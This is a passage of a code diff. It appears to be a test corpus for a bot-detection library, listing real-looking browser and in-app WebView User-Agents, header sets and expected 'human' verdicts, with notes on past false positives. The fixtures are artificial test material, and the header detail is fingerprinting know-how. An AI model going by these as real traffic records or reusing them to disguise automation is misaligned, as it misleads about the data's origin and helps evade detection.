landing("firefoxAndroid", "Firefox 148 on Android", "Gecko on Android reports Mobile in the UA and, like desktop Gecko, sends no Client Hints"),
|
|
2207
|
+
// ---------------------------------------------------------------------------
|
|
2208
|
+
// WebKit
|
|
2209
|
+
// ---------------------------------------------------------------------------
|
|
2210
|
+
landing("safariMac", "Safari 18.7 on macOS", "WebKit interleaves the Fetch Metadata headers with content negotiation rather than grouping them"),
|
|
2211
|
+
landing("safariIos", "Safari 18.7 on an iPhone", "2026 User-Agent lists; the Mobile/15E148 build token has been frozen for years"),
|
|
2212
|
+
landing("safariIpad", "Safari 18.7 on an iPad", "iPadOS reports an iPad UA in mobile mode; in desktop-class mode it reports a Macintosh UA instead"),
|
|
2213
|
+
landing("chromeIos", "Chrome on iOS", "CriOS is WebKit underneath \u2014 iOS permits no other engine \u2014 so its header order is Safari's, not Chromium's", {}, "A client whose User-Agent says Chrome and whose header order says Safari. Both are true, and a naive engine-versus-order consistency check would call it a forgery."),
|
|
2214
|
+
landing("firefoxIos", "Firefox on iOS", "FxiOS is likewise WebKit; the Gecko name in the product token describes the brand, not the engine"),
|
|
2215
|
+
landing("edgeIos", "Edge on iOS", "EdgiOS is WebKit too; iOS permits no other engine, so every browser there shares Safari's header order"),
|
|
2216
|
+
landing("duckduckgoIos", "DuckDuckGo browser on iOS", "Appends a DuckDuckGo token to an otherwise standard Safari string", { gpc: true }),
|
|
2217
|
+
// ---------------------------------------------------------------------------
|
|
2218
|
+
// Chromium mobile
|
|
2219
|
+
// ---------------------------------------------------------------------------
|
|
2220
|
+
landing("chromeAndroid", "Chrome 150 on an Android phone", "The device string has been frozen to 'Android 10; K' since Chrome 110 to reduce passive fingerprinting"),
|
|
2221
|
+
landing(
|
|
2222
|
+
"chromeAndroidTablet",
|
|
2223
|
+
"Chrome 150 on an Android tablet",
|
|
2224
|
+
"Chromium omits the Mobile product token on tablets and sets Sec-CH-UA-Mobile to ?0 from the same internal state",
|
|
2225
|
+
{},
|
|
2226
|
+
"The case that caught a real bug: a check testing the User-Agent for the operating system rather than for the Mobile token read this correct pairing as a contradiction, on every Android tablet on the web."
|
|
2227
|
+
),
|
|
2228
|
+
landing("samsungInternet", "Samsung Internet 29 on a Galaxy S25", "The default browser on Samsung devices and the second most-used mobile browser worldwide"),
|
|
2229
|
+
landing("operaAndroid", "Opera 91 on Android, Indonesian locale", "Opera has a large share across Southeast Asia"),
|
|
2230
|
+
landing("edgeAndroid", "Edge 150 on Android", "EdgA is genuine Chromium and does send Client Hints"),
|
|
2231
|
+
// ---------------------------------------------------------------------------
|
|
2232
|
+
// Regional Chromium forks. Hundreds of millions of people, pinned to older
|
|
2233
|
+
// Chromium releases and not sending the modern header set.
|
|
2234
|
+
// ---------------------------------------------------------------------------
|
|
2235
|
+
landing(
|
|
2236
|
+
"ucBrowser",
|
|
2237
|
+
"UC Browser on Android in India",
|
|
2238
|
+
"UC Browser runs a Chromium fork pinned well behind the release channel and does not send Client Hints or Fetch Metadata",
|
|
2239
|
+
{},
|
|
2240
|
+
"A client claiming Chrome 100 with none of the headers Chrome 100 sends. Read literally that is a strong impersonation signal; read correctly it is one of the most-used browsers in South Asia."
|
|
2241
|
+
),
|
|
2242
|
+
landing("miBrowser", "MIUI Browser on a Xiaomi phone", "The default browser on Xiaomi devices, based on an older Chromium and shipping a reduced header set"),
|
|
2243
|
+
landing("huaweiBrowser", "Huawei Browser on an HMS device", "The default browser on Huawei devices outside Google Mobile Services"),
|
|
2244
|
+
landing("qqBrowser", "QQ Browser on Android in China", "One of the most-used mobile browsers in China; a Chromium fork with its own release cadence"),
|
|
2245
|
+
// ---------------------------------------------------------------------------
|
|
2246
|
+
// Televisions, consoles and embedded. Old engines, odd header sets, real people.
|
|
2247
|
+
// ---------------------------------------------------------------------------
|
|
2248
|
+
landing("silkKindle", "Amazon Silk on a Fire tablet", "Silk identifies itself as 'like Chrome' rather than as Chrome, and is a Chromium fork on Amazon's own cadence"),
|
|
2249
|
+
landing("tizenTv", "A Samsung television browser", "Tizen builds report SMART-TV and a Chromium version years behind the desktop channel"),
|
|
2250
|
+
landing("webOsTv", "An LG television browser", "webOS builds append WebAppManager and carry an old Chromium"),
|
|
2251
|
+
landing("playstation", "A PlayStation 5 system browser", "WebKit-based, with a frozen Version/16.0 and no Fetch Metadata"),
|
|
2252
|
+
landing("nintendoSwitch", "A Nintendo Switch browser", "The Switch's captive-portal browser, an old WebKit with a distinctive NintendoBrowser token"),
|
|
2253
|
+
// ---------------------------------------------------------------------------
|
|
2254
|
+
// The same clients doing the things people actually do with them.
|
|
2255
|
+
// ---------------------------------------------------------------------------
|
|
2256
|
+
...scenarios("chromeWindows", "Chrome on Windows", COMMON),
|
|
2257
|
+
...scenarios("firefoxWindows", "Firefox on Windows", COMMON),
|
|
2258
|
+
...scenarios("safariMac", "Safari on macOS", COMMON),
|
|
2259
|
+
...scenarios("edgeWindows", "Edge on Windows", COMMON),
|
|
2260
|
+
...scenarios("safariIos", "Safari on iPhone", [...COMMON, ...MOBILE_EXTRAS]),
|
|
2261
|
+
...scenarios("chromeAndroid", "Chrome on Android", [...COMMON, ...MOBILE_EXTRAS]),
|
|
2262
|
+
...scenarios("samsungInternet", "Samsung Internet", MOBILE_EXTRAS),
|
|
2263
|
+
...scenarios("chromeMac", "Chrome on macOS", COMMON.slice(0, 3)),
|
|
2264
|
+
...scenarios("firefoxAndroid", "Firefox on Android", MOBILE_EXTRAS),
|
|
2265
|
+
// ---------------------------------------------------------------------------
|
|
2266
|
+
// The awkward edges of ordinary browsing.
|
|
2267
|
+
// ---------------------------------------------------------------------------
|
|
2268
|
+
human({
|
|
2269
|
+
id: "browse-early-data-resumption",
|
|
2270
|
+
title: "A TLS 1.3 resumption replayed as early data",
|
|
2271
|
+
category: "browser-scenario",
|
|
2272
|
+
provenance: "0-RTT resumption; the terminating proxy marks the request Early-Data: 1 so the origin can decide whether to risk replaying it",
|
|
2273
|
+
requests: [{ ...browser("chromeWindows", { cookie: returningCustomerJar("early"), earlyData: true, kind: "same-origin-navigate", referer: `${SITE}/` }), path: "/products" }],
|
|
2274
|
+
expect: { certain: false }
|
|
2275
|
+
}),
|
|
2276
|
+
human({
|
|
2277
|
+
id: "browse-third-party-iframe",
|
|
2278
|
+
title: "A page embedded in a third-party iframe",
|
|
2279
|
+
category: "browser-scenario",
|
|
2280
|
+
provenance: "Cross-site iframe load; recent Chromium adds Sec-Fetch-Storage-Access to describe its storage partition",
|
|
2281
|
+
requests: [{ ...browser("chromeWindows", { kind: "iframe", referer: "https://partner.example/", storageAccess: "none" }), path: "/embed/widget" }],
|
|
2282
|
+
expect: { certain: false }
|
|
2283
|
+
}),
|
|
2284
|
+
human({
|
|
2285
|
+
id: "browse-video-range-request",
|
|
2286
|
+
title: "A video player asking for a byte range",
|
|
2287
|
+
category: "browser-scenario",
|
|
2288
|
+
provenance: "HTML media elements issue Range requests with Sec-Fetch-Dest: video",
|
|
2289
|
+
requests: [{ ...browser("safariMac", { kind: "media", range: "bytes=2097152-4194303", referer: `${SITE}/products/1184` }), path: "/media/demo.mp4" }],
|
|
2290
|
+
expect: { certain: false }
|
|
2291
|
+
}),
|
|
2292
|
+
human({
|
|
2293
|
+
id: "browse-eventsource-stream",
|
|
2294
|
+
title: "An EventSource stream for live stock updates",
|
|
2295
|
+
category: "browser-scenario",
|
|
2296
|
+
provenance: "EventSource sends Accept: text/event-stream and holds the connection open",
|
|
2297
|
+
requests: [{ ...browser("chromeWindows", { kind: "eventsource", cookie: returningCustomerJar("sse"), origin: SITE }), path: "/api/stock-stream" }],
|
|
2298
|
+
expect: { certain: false }
|
|
2299
|
+
}),
|
|
2300
|
+
human({
|
|
2301
|
+
id: "browse-cross-origin-cors",
|
|
2302
|
+
title: "A cross-origin API call from a partner's page",
|
|
2303
|
+
category: "browser-scenario",
|
|
2304
|
+
provenance: "Cross-site fetch with an Origin header and Sec-Fetch-Site: cross-site",
|
|
2305
|
+
requests: [{ ...browser("chromeWindows", { kind: "cors", origin: "https://partner.example" }), path: "/api/public/catalog" }],
|
|
2306
|
+
expect: { certain: false }
|
|
2307
|
+
}),
|
|
2308
|
+
human({
|
|
2309
|
+
id: "browse-stylesheet-and-script",
|
|
2310
|
+
title: "The subresources of a page load",
|
|
2311
|
+
category: "browser-scenario",
|
|
2312
|
+
provenance: "Stylesheet and script requests carry their own Accept values and Sec-Fetch-Dest",
|
|
2313
|
+
requests: [
|
|
2314
|
+
{ ...browser("chromeWindows", { kind: "stylesheet", referer: `${SITE}/` }), path: "/assets/app.css", atMs: 0 },
|
|
2315
|
+
{ ...browser("chromeWindows", { kind: "script", referer: `${SITE}/` }), path: "/assets/app.js", atMs: 40 },
|
|
2316
|
+
{ ...browser("chromeWindows", { kind: "subresource", referer: `${SITE}/` }), path: "/assets/hero.avif", atMs: 90 }
|
|
2317
|
+
],
|
|
2318
|
+
expect: { certain: false }
|
|
2319
|
+
}),
|
|
2320
|
+
human({
|
|
2321
|
+
id: "browse-dark-mode-reduced-motion",
|
|
2322
|
+
title: "Somebody who prefers dark mode and reduced motion",
|
|
2323
|
+
category: "browser-scenario",
|
|
2324
|
+
provenance: "Sec-CH-Prefers-Color-Scheme and Sec-CH-Prefers-Reduced-Motion, sent once a server advertises Accept-CH",
|
|
2325
|
+
notes: "Reduced motion is frequently an accessibility setting rather than a taste. A signal that read unusual preferences as suspicious would land hardest on the people least able to work around it.",
|
|
2326
|
+
requests: [{ ...browser("chromeWindows", { cookie: returningCustomerJar("prefs"), prefers: { colorScheme: "dark", reducedMotion: "reduce" }, highEntropyHints: true }), path: "/" }],
|
|
2327
|
+
expect: { certain: false },
|
|
2328
|
+
tags: ["accessibility"]
|
|
2329
|
+
}),
|
|
2330
|
+
human({
|
|
2331
|
+
id: "browse-layout-hints",
|
|
2332
|
+
title: "A responsive image request carrying layout hints",
|
|
2333
|
+
category: "browser-scenario",
|
|
2334
|
+
provenance: "Viewport-Width and DPR, sent when the server asks for them so it can pick an image size",
|
|
2335
|
+
requests: [{ ...browser("chromeAndroid", { kind: "subresource", layoutHints: { viewportWidth: 412, dpr: 2.625 }, referer: `${SITE}/products/1184` }), path: "/img/1184.avif" }],
|
|
2336
|
+
expect: { certain: false }
|
|
2337
|
+
}),
|
|
2338
|
+
human({
|
|
2339
|
+
id: "browse-do-not-track",
|
|
2340
|
+
title: "Somebody sending the deprecated DNT header",
|
|
2341
|
+
category: "browser-scenario",
|
|
2342
|
+
provenance: "DNT is deprecated and still sent by a meaningful minority, often alongside Sec-GPC",
|
|
2343
|
+
requests: [{ ...browser("firefoxWindows", { dnt: true, gpc: true, cookie: freshVisitorJar("dnt") }), path: "/" }],
|
|
2344
|
+
expect: { certain: false, verdict: "unknown" }
|
|
2345
|
+
})
|
|
2346
|
+
];
|
|
2347
|
+
|
|
2348
|
+
// src/corpus/humans-apps.ts
|
|
2349
|
+
function webview(id, title, userAgent, provenance, options = {}) {
|
|
2350
|
+
const headers = [
|
|
2351
|
+
["Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8"],
|
|
2352
|
+
["Accept-Language", options.language ?? "en-GB,en;q=0.9"],
|
|
2353
|
+
["Accept-Encoding", "gzip, deflate, br"],
|
|
2354
|
+
["Upgrade-Insecure-Requests", "1"],
|
|
2355
|
+
...options.extra ?? [],
|
|
2356
|
+
...options.cookie === false ? [] : [["Cookie", cookieJar({ visitor: id, analytics: true })]]
|
|
2357
|
+
];
|
|
2358
|
+
return human({
|
|
2359
|
+
id,
|
|
2360
|
+
title,
|
|
2361
|
+
category: "in-app-webview",
|
|
2362
|
+
provenance,
|
|
2363
|
+
...options.notes !== void 0 ? { notes: options.notes } : {},
|
|
2364
|
+
requests: [plain(userAgent, headers)],
|
|
2365
|
+
expect: { certain: false }
|
|
2366
|
+
});
|
|
2367
|
+
}
|
|
2368
|
+
var HUMAN_APP_CASES = [
|
|
2369
|
+
// ---------------------------------------------------------------------------
|
|
2370
|
+
// Social apps on iOS. WebKit underneath, with the app's own suffix.
|
|
2371
|
+
// ---------------------------------------------------------------------------
|
|
2372
|
+
webview(
|
|
2373
|
+
"app-instagram-ios",
|
|
2374
|
+
"A link tapped in Instagram on iOS",
|
|
2375
|
+
"Mozilla/5.0 (iPhone; CPU iPhone OS 18_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 372.1.0.28.104 (iPhone17,1; iOS 18_6_1; en_GB; en; scale=3.00; 1206x2622; 748291056; IABMV/1)",
|
|
2376
|
+
"Instagram appends its version plus a full device descriptor and drops the Safari token entirely",
|
|
2377
|
+
{ notes: "Note what is missing: no Safari/ token, so a check keyed on the browser name finds nothing to check. The IABMV flag marks the in-app browser build." }
|
|
2378
|
+
),
|
|
2379
|
+
webview("app-instagram-android", "A link tapped in Instagram on Android", "Mozilla/5.0 (Linux; Android 15; SM-S931B Build/AP3A.240905.015.A2; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/149.0.7202.61 Mobile Safari/537.36 Instagram 372.0.0.39.108 Android (35/15; 450dpi; 1080x2229; samsung; SM-S931B; e3q; qcom; en_GB; 745123098)", "The Android build carries a wv token marking the WebView, plus a device and locale block"),
|
|
2380
|
+
webview("app-facebook-ios", "A link tapped in Facebook on iOS", "Mozilla/5.0 (iPhone; CPU iPhone OS 18_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 [FBAN/FBIOS;FBAV/500.0.0.44.107;FBBV/687451209;FBDV/iPhone17,1;FBMD/iPhone;FBSN/iOS;FBSV/18.6.1;FBSS/3;FBID/phone;FBLC/en_GB;FBOP/5;FBRV/0]", "The bracketed FB block names the app, build, device, OS and locale"),
|
|
2381
|
+
webview("app-facebook-android", "A link tapped in Facebook on Android", "Mozilla/5.0 (Linux; Android 14; SM-A556B Build/UP1A.231005.007; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/147.0.7071.53 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/500.0.0.32.109;]", "Android Facebook WebViews use FB_IAB and FBAV rather than the iOS block"),
|
|
2382
|
+
webview("app-messenger", "A link tapped in Messenger", "Mozilla/5.0 (iPhone; CPU iPhone OS 18_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 [FBAN/MessengerForiOS;FBAV/500.1.0.52.106;FBBV/687912344;FBDV/iPhone16,2;FBMD/iPhone;FBSN/iOS;FBSV/18.6;FBSS/3;FBID/phone;FBLC/en_US;FBOP/5]", "Messenger identifies itself distinctly from the main Facebook app"),
|
|
2383
|
+
webview("app-tiktok-android", "A link tapped in TikTok", "Mozilla/5.0 (Linux; Android 14; 23021RAA2Y Build/UKQ1.230917.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/143.0.6980.113 Mobile Safari/537.36 musical_ly_2024505030 JsSdk/1.0 NetType/WIFI Channel/googleplay AppName/musical_ly app_version/40.5.3 ByteLocale/en ByteFullLocale/en Region/GB AppSkin/white AppTheme/light BytedanceWebview/d8a21c6", "TikTok carries both the legacy musical_ly token and a BytedanceWebview build hash", { notes: "Contains 'Bytedance' but not 'Bytespider'. A substring match on the vendor name would classify a person as ByteDance's crawler." }),
|
|
2384
|
+
webview("app-tiktok-ios", "A link tapped in TikTok on iOS", "Mozilla/5.0 (iPhone; CPU iPhone OS 18_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 musical_ly_40.5.3 JsSdk/2.0 NetType/WIFI Channel/App Store ByteLocale/en Region/US isDarkMode/0 WKWebView/1 BytedanceWebview/d8a21c6", "The iOS build names WKWebView explicitly"),
|
|
2385
|
+
webview("app-snapchat", "A link tapped in Snapchat", "Mozilla/5.0 (iPhone; CPU iPhone OS 18_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Snapchat/13.31.0.48 (like Safari/605.1.15)", "Snapchat's suffix says 'like Safari' rather than claiming to be Safari"),
|
|
2386
|
+
webview("app-linkedin", "A link tapped in the LinkedIn app", "Mozilla/5.0 (iPhone; CPU iPhone OS 18_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 [LinkedInApp]", "A bracketed suffix and nothing else", { notes: "Distinct from LinkedInBot, which is the unfurler. One is a person; the other is not; the strings differ by six characters." }),
|
|
2387
|
+
webview("app-pinterest", "A link tapped in Pinterest", "Mozilla/5.0 (iPhone; CPU iPhone OS 18_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Pinterest for iOS/13.12", "Pinterest names itself and the platform in plain words"),
|
|
2388
|
+
webview("app-reddit", "A link tapped in the Reddit app", "Mozilla/5.0 (Linux; Android 15; Pixel 9 Build/AP4A.250105.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/149.0.7202.61 Mobile Safari/537.36 RedditAndroid/2025.03.0", "The Reddit app opens links in a WebView by default"),
|
|
2389
|
+
webview("app-x-twitter", "A link tapped in X", "Mozilla/5.0 (iPhone; CPU iPhone OS 18_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Twitter for iPhone/10.71", "X still identifies its iOS client by the old product name"),
|
|
2390
|
+
webview("app-discord", "A link tapped in Discord on mobile", "Mozilla/5.0 (Linux; Android 14; SM-G991B Build/UP1A.231005.007; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/147.0.7071.53 Mobile Safari/537.36 Discord/271.0", "Discord's mobile WebView", { notes: "Distinct from Discordbot, which unfurls the link into an embed before anyone taps it. Both arrive for the same shared URL, seconds apart." }),
|
|
2391
|
+
webview("app-telegram", "A link tapped in Telegram", "Mozilla/5.0 (iPhone; CPU iPhone OS 18_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Telegram-iOS/11.5", "Telegram's in-app browser"),
|
|
2392
|
+
webview("app-whatsapp", "A link tapped in WhatsApp", "Mozilla/5.0 (Linux; Android 15; SM-S931B Build/AP3A.240905.015; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/149.0.7202.61 Mobile Safari/537.36", "WhatsApp's Android WebView adds no suffix at all \u2014 only the wv token distinguishes it", { notes: "No app name anywhere. Indistinguishable from any other Android WebView, which is why the wv marker has to carry the weight." }),
|
|
2393
|
+
webview("app-line", "A link tapped in LINE", "Mozilla/5.0 (iPhone; CPU iPhone OS 18_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Safari/604.1 Line/14.20.0", "LINE is the dominant messenger in Japan, Taiwan and Thailand", { language: "ja-JP,ja;q=0.9,en-US;q=0.8" }),
|
|
2394
|
+
webview("app-kakaotalk", "A link tapped in KakaoTalk", "Mozilla/5.0 (Linux; Android 15; SM-S938N Build/AP3A.240905.015; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/147.0.7071.53 Mobile Safari/537.36 KAKAOTALK 25.3.1", "The dominant messenger in South Korea", { language: "ko-KR,ko;q=0.9,en-US;q=0.8" }),
|
|
2395
|
+
webview("app-wechat-ios", "A link tapped in WeChat", "Mozilla/5.0 (iPhone; CPU iPhone OS 18_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.58(0x18003a2b) NetType/WIFI Language/en", "WeChat's WebView is the entry point to an entire application ecosystem in China", { language: "zh-CN,zh;q=0.9,en;q=0.8" }),
|
|
2396
|
+
webview("app-weibo", "A link tapped in Weibo", "Mozilla/5.0 (Linux; Android 14; 2211133C Build/UKQ1.230804.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/122.0.6261.119 Mobile Safari/537.36 Weibo (Xiaomi-2211133C__weibo__14.9.0__android__android14)", "Weibo packs the manufacturer, app and OS versions into a parenthesised block", { language: "zh-CN,zh;q=0.9" }),
|
|
2397
|
+
webview("app-vk", "A link tapped in VK", "Mozilla/5.0 (iPhone; CPU iPhone OS 18_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 VKClient/8.32", "The dominant social network across the CIS", { language: "ru-RU,ru;q=0.9,en-US;q=0.8" }),
|
|
2398
|
+
// ---------------------------------------------------------------------------
|
|
2399
|
+
// Non-social apps that embed a browser: banking, travel, retail, news.
|
|
2400
|
+
// ---------------------------------------------------------------------------
|
|
2401
|
+
webview("app-banking-3ds", "A 3-D Secure challenge inside a banking app", "Mozilla/5.0 (iPhone; CPU iPhone OS 18_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 ExampleBank/7.14.2", "Card authentication opens the issuer's page inside the app's WebView", { notes: "A payment failing here is a lost order and a support call, and the person has no way to switch browser." }),
|
|
2402
|
+
webview("app-retail-loyalty", "A retailer's app opening its own web page", "Mozilla/5.0 (Linux; Android 15; Pixel 8 Build/AP4A.250105.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/149.0.7202.61 Mobile Safari/537.36 ExampleShop/9.4.1", "Native apps commonly render loyalty and account pages as embedded web views"),
|
|
2403
|
+
webview("app-travel-booking", "An airline app rendering a booking page", "Mozilla/5.0 (iPhone; CPU iPhone OS 18_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 ExampleAir/6.2.0 (iOS)", "Booking flows are frequently web pages inside a native shell"),
|
|
2404
|
+
webview("app-news-reader", "A news app opening a linked article", "Mozilla/5.0 (Linux; Android 14; moto g84 5G Build/U1TNS34.82-12-9; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/145.0.7049.100 Mobile Safari/537.36 ExampleNews/8.1.0", "News aggregators open the publisher's page in a WebView"),
|
|
2405
|
+
human({
|
|
2406
|
+
id: "app-podcast-shownotes",
|
|
2407
|
+
title: "A podcast app opening show notes",
|
|
2408
|
+
category: "in-app-webview",
|
|
2409
|
+
provenance: "The same application that fetches your feed also opens your links, with the same User-Agent",
|
|
2410
|
+
notes: "The most instructive case in this file, and the corpus caught the expectation being wrong before the library was. Overcast's User-Agent carries the crawler contact convention because the app also fetches feeds \u2014 so the library reads a *proven declared bot*, and it is right: that is genuinely what the client software is. There is a person behind this particular request and nothing in it says so. The verdict is about the client, not the intent, and the gap between those two is exactly why a proven verdict tags rather than blocks here.",
|
|
2411
|
+
requests: [
|
|
2412
|
+
plain("Mozilla/5.0 (iPhone; CPU iPhone OS 18_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Overcast/2025.4 (+http://overcast.fm/; iOS podcast app)", [
|
|
2413
|
+
["Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"],
|
|
2414
|
+
["Accept-Language", "en-GB,en;q=0.9"],
|
|
2415
|
+
["Accept-Encoding", "gzip, deflate, br"]
|
|
2416
|
+
])
|
|
2417
|
+
],
|
|
2418
|
+
selfDeclared: "Overcast sends one User-Agent for both jobs, and it carries the crawler contact convention because the app also fetches feeds. The library reads a proven declaration and is correct about the client; there is simply a person behind this particular request and nothing in it says so.",
|
|
2419
|
+
expect: { verdict: "confirmed-bot", certain: true, botClass: "declared-bot" },
|
|
2420
|
+
tags: ["known-cost", "known-limit"]
|
|
2421
|
+
}),
|
|
2422
|
+
human({
|
|
2423
|
+
id: "app-kindle-in-book-link",
|
|
2424
|
+
title: "Following a footnote link from a Kindle book",
|
|
2425
|
+
category: "in-app-webview",
|
|
2426
|
+
provenance: "Kindle devices open external links in an embedded Silk-derived browser with a very reduced header set",
|
|
2427
|
+
requests: [
|
|
2428
|
+
plain("Mozilla/5.0 (Linux; U; Android 11; en-GB; KFTRWI) AppleWebKit/537.36 (KHTML, like Gecko) Silk/128.1.2 like Chrome/128.0.6613.146 Safari/537.36", [
|
|
2429
|
+
["Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"],
|
|
2430
|
+
["Accept-Language", "en-GB"],
|
|
2431
|
+
["Accept-Encoding", "gzip, deflate"]
|
|
2432
|
+
])
|
|
2433
|
+
],
|
|
2434
|
+
expect: { certain: false }
|
|
2435
|
+
}),
|
|
2436
|
+
human({
|
|
2437
|
+
id: "app-car-infotainment",
|
|
2438
|
+
title: "A passenger opening a link on a car's infotainment screen",
|
|
2439
|
+
category: "in-app-webview",
|
|
2440
|
+
provenance: "Android Automotive builds ship a WebView on an old Chromium with an unusual device string",
|
|
2441
|
+
notes: "A small population that no signature list will ever cover, on an engine years behind the release channel. The right treatment is the same as for any unfamiliar client: score it, do not deny it.",
|
|
2442
|
+
requests: [
|
|
2443
|
+
plain("Mozilla/5.0 (Linux; Android 13; Automotive Build/TQ3A.230805.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/119.0.6045.193 Safari/537.36", [
|
|
2444
|
+
["Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"],
|
|
2445
|
+
["Accept-Language", "de-DE,de;q=0.9,en;q=0.8"],
|
|
2446
|
+
["Accept-Encoding", "gzip, deflate, br"]
|
|
2447
|
+
])
|
|
2448
|
+
],
|
|
2449
|
+
expect: { certain: false }
|
|
2450
|
+
}),
|
|
2451
|
+
webview("app-email-client", "A mobile mail client opening a newsletter link", "Mozilla/5.0 (iPhone; CPU iPhone OS 18_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Outlook-iOS/4.2531.0", "Outlook opens links in its own WebView rather than handing off to Safari"),
|
|
2452
|
+
webview("app-google-app", "A link tapped in the Google app", "Mozilla/5.0 (iPhone; CPU iPhone OS 18_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 GSA/354.0.723598878 Mobile/15E148 Safari/604.1", "GSA is the Google Search App's in-app browser and carries a very large share of mobile search traffic"),
|
|
2453
|
+
webview("app-android-webview-bare", "A bare Android WebView from an unnamed app", "Mozilla/5.0 (Linux; Android 13; SM-A135F Build/TP1A.220624.014; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/140.0.7028.61 Mobile Safari/537.36", "Any application can embed a WebView and add nothing; only the wv token remains", { cookie: false, notes: "No app name, no cookies, an old Chromium and none of the modern headers. Close to the worst case a real person can present, and still a real person." }),
|
|
2454
|
+
webview("app-huawei-quick", "A Huawei Quick App", "Mozilla/5.0 (Linux; Android 12; ELS-NX9; HMSCore 6.14.0.302; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/126.0.6478.186 Mobile Safari/537.36 QuickApp/12.0.6", "Huawei's lightweight app format renders web content in a WebView", { language: "zh-CN,zh;q=0.9" }),
|
|
2455
|
+
// ---------------------------------------------------------------------------
|
|
2456
|
+
// Desktop applications embedding a browser engine.
|
|
2457
|
+
// ---------------------------------------------------------------------------
|
|
2458
|
+
webview(
|
|
2459
|
+
"app-vscode-simple-browser",
|
|
2460
|
+
"A developer opening a page in VS Code's Simple Browser",
|
|
2461
|
+
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Code/1.97.2 Chrome/132.0.6834.196 Electron/34.2.0 Safari/537.36",
|
|
2462
|
+
"The Electron User-Agent emitted by VS Code webviews",
|
|
2463
|
+
{ notes: "This exact string was classified as proven automation by a shipped version of this library, because Electron sat in the headless signature set. It then looped on the challenge, because passing one cannot undo a proven verdict. Two bugs, one User-Agent, both found by a person opening the project's own demo." }
|
|
2464
|
+
),
|
|
2465
|
+
webview("app-slack-desktop", "Slack's desktop client opening a link internally", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Slack/4.45.69 Chrome/134.0.6998.205 Electron/35.7.5 Safari/537.36", "Electron-based desktop client"),
|
|
2466
|
+
webview("app-discord-desktop", "Discord's desktop client", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) discord/1.0.9200 Chrome/128.0.6613.186 Electron/32.2.7 Safari/537.36", "Electron again; the app name is lowercase here"),
|
|
2467
|
+
webview("app-spotify-desktop", "Spotify's desktop client opening a link", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Spotify/1.2.62 Chrome/134.0.6998.205 Electron/35.7.5 Safari/537.36", "A person listening, not the podcast fetcher", { notes: "The reason no signature claims the token `Spotify/`: this is a listener, and `Spotify/1.0` is a feed fetcher. One prefix, two entirely different clients." }),
|
|
2468
|
+
webview("app-notion-desktop", "Notion's desktop client", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Notion/4.5.0 Chrome/128.0.6613.186 Electron/32.2.6 Safari/537.36", "Electron-based note application embedding pages"),
|
|
2469
|
+
webview("app-figma-desktop", "Figma's desktop client loading an embed", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Figma/125.4.4 Chrome/126.0.6478.234 Electron/31.7.5 Safari/537.36", "Design tools embed live web previews"),
|
|
2470
|
+
webview("app-postman-desktop", "Postman's desktop client rendering a documentation page", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Postman/11.30.0 Chrome/128.0.6613.186 Electron/32.2.6 Safari/537.36", "Distinct from PostmanRuntime, which is the request sender", { notes: "PostmanRuntime is automation; Postman the application is a person reading documentation. The two arrive from the same machine within seconds of each other." }),
|
|
2471
|
+
